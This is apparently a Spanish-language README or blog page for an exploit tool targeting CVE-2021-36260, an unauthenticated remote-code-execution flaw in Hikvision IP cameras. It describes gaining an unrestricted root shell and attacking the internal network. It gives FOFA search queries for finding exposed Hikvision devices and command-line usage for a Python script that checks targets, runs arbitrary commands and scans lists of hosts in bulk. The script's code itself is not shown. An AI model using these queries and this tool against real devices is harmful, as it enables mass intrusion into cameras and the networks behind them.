Vulnerabilidad RCE CVE-2021-36260 en Hikvision

Descripción de la vulnerabilidad

Un atacante puede aprovechar esta vulnerabilidad para obtener un control total del dispositivo mediante una shell root sin restricciones, incluso cuando el propietario del dispositivo está limitado a una shell protegida restringida (psh). Además de comprometer la cámara IP, también puede acceder y atacar la red interna.

FOFA

header="Hikvision"			 
app="HIKVISION-视频监控"

Uso

python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --cmd "ls -la"
python ./CVE-2021-36260.py -f target.txt

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Start scanning url
  -f FILE, --file FILE  read the url from the file
  --check               Check if vulnerable
  --cmd CMD             execute cmd (i.e: "ls -l")

Permite la búsqueda masiva de SRC.

hikvision-unauthenticated-rce-cve-2021-36260

Más Populares